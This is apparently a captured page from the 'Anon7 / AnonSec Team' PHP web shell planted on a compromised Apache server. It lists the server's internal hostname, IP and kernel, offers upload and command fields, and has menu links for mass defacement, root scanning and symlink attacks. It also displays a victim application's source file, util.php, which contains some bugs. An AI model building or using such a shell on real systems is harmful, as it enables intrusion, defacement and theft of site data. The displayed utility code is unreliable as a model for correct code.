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/  Your IP : 172.31.44.28   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/sapere/app/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/sapere/app/helpers/util.php
<?php

class Utils
{
	static function OutputSuccess($data = NULL)
	{
		$ret['error'] = 0;
		$ret['data'] = $data;
		echo json_encode($ret);
	}

	static function OutputError($errorcode=NULL,$message=NULL,$data=NULL)
	{
		$ret['error'] = 1;
		if ($errorcode)
			$ret['code'] = $errorcode;
		if ($message)
			$ret['message'] = $message;
		if ($data)
			$ret['data'] = $data;
		echo json_encode($ret);
		die();
	}

	static function Web2Db($input,$fieldlist)
	{
		$ret = array();
		foreach ($fieldlist as $webfield => $dbfield)
			if (isset($input[$webfield])) $ret[$dbfield] = $_GET[$webfield];
		return $ret;
	}

	// Validates required fields and returns a uniformified array
	// input: $_POST or $_GET input
	// params: array(fieldname => required)
	static function ValidateParams($input,$params,$quiet=false)
	{
		$ret = array();
		foreach ($params as $param => $req)
		{
			$val = isset($input[$param])?$input[$param]:NULL;
			if ($req && is_null($val))
				if ($quiet) return $param;  // return the missing param as an error
				else OutputError(1,'Missing Parameters',$param);    // Output an error and die
			$ret[$param] = $val;
		}
		return $ret;
	}

	static function JsBool($str)
	{
		if (is_string($str))
			return $str != "false";
		else
			return (bool)$str;
	}

	static function SafeUploadFile($filename,$upfilename=NULL)
	{
		if (!$upfilename) $upfilename = $filename;
		header("Content-Type: application/octet-stream");
		header("Content-Transfer-Encoding: binary");
		header('Content-Disposition: attachment; filename="'.$upfilename.'"');
		header("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1
		header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); // Date in the past
		header("Content-Length: ".filesize($filename));
		readfile($filename);
	}

	static function ToHtmlArray(&$a,$charset='ISO-8859-1')
	{
		function CallHtmlEntities(&$value,$key,$charset)
		{
			if (is_string($value))
				$value = htmlentities($value,ENT_COMPAT,$charset);
		}
		
		array_walk_recursive($a,'CallHtmlEntities',$charset);
	}

	static function ArrayRedefineKey($a,$key)
	{
		$newarray = array();
		foreach ($a as $entry)
			$newentry[$entry[$key]] = $entry;
		return $newarray;        
	}

	static function ArrayRedefineKeys($a,$keys)
	{
		if (!is_array($a)) return $a;
		if (!is_array($keys)) $keys = array($keys);
		$newarray = array();
		foreach ($a as $entry)
		{
			reset($newarray);
			$cur =& $newarray;
			
			foreach ($keys as $key)
			{
				$keyname = (string)$entry[$key];
				if (!isset($cur[$keyname]))
					$cur[$keyname] = array();
				$cur =& $cur[$keyname];
			}
			$cur = $entry;
		}
		return $newarray;
	}

	static function IsPositiveInt($val)
	{
		return (is_numeric($val)&&((int)$val==$val)&&($val>=0));
	}

	static function ArrayMean($a)
	{
		$n = count($a);
		return $n?(array_sum($a)/$n):null;
	}

	static function ArrayRemoveNulls($a)
	{
		function NotNull($val) {return !is_null($val);}
		return array_filter($a,"NotNull");
	}

	static function CreateTempFile($extension=NULL,$maxretries=10)
	{
		$prefix = '';
		$attempt = 0;

		$tempfile = tempnam(sys_get_temp_dir(),'tmp');
		while (!rename($tempfile,$prefix.$tempfile.".$extension"))
		{
			$prefix = rand(0,999999);
			$attempt++;
			if ($attempt > $maxretries)
				return $tempfile;   // Abandon renaming, return new file.
		}
		return $prefix.$tempfile.".$extension";
	}
    
    static function ResizeImageProportional($infilename, $outpng, $reqwidth, $reqheight)
    {
        $imSize = getImageSize($infilename);
        $setwidth = $ow = 0;
        $setheight = $oh = 0;
        if ($imSize && is_array($imSize))
        {
            $setwidth = $ow = $imSize[0];
            $setheight = $oh = $imSize[1];
        }
        if (!$ow || !$oh) return false;
        
        $ratioxy = $ow/$oh;
        if ($ratioxy == 0.0) return false;
        
        // Proportionnaly resize sides;
        $newx = $reqheight*$ratioxy;
        $newy = $reqwidth/$ratioxy;
        
        if ($newx >= $reqwidth)
        {
            $setheight = $reqheight;
            $setwidth = $newx;
        }
        else
        {
            $setheight = $newy;
            $setwidth = $reqwidth; 
        }
        
        $image = imagecreatefromstring(file_get_contents($infilename));
        $newimage=imagecreatetruecolor($setwidth, $setheight);
        imagecopyresampled($newimage, $image, 0,0,0,0, $setwidth, $setheight, $ow, $oh);
        imagedestroy($image);
        $ret = imagepng($newimage,$outpng);
        imagedestroy($newimage);
        return $ret;
    }
    
    // bias: use 'video' or 'audio'
    static function FindMimeTypeByExt($filename, $typebias='video')
    {
        $ext = strtolower(pathinfo($filename,PATHINFO_EXTENSION));
        $mimetype = '';
        
        switch ($ext)
        {
            default:
            case 'm4a':
            case 'm4v':
            case 'mpg':
            case 'mp4':
            $mimetype = "$typebias/mp4";
            break;
            
            case 'ogg':
            case 'ogm':
            case 'ogv':
            case 'oga':
            $mimetype = "$typebias/ogg";
            break;

            case 'webm':
            $mimetype = "$typebias/webm";
            break;
            
            case 'aac':
            $mimetype = 'audio/aac';
            break;
            
            case 'mp3':
            case 'mpg':
            case 'mpeg':
            $mimetype = 'audio/mpeg';
            break;
            
            case 'wav':
            $mimetype = 'audio/wav';
            break;
            
            case 'swf':
            case 'flv':
            $mimetype = 'application/x-shockwave-flash';
            break;
        }
        return $mimetype;
    }
    
    static function RemoveDoubleSlashes($path)
    {
        return preg_replace('/(\/+)/','/',$path);
    }
}
?>

Anon7 - 2022
AnonSec Team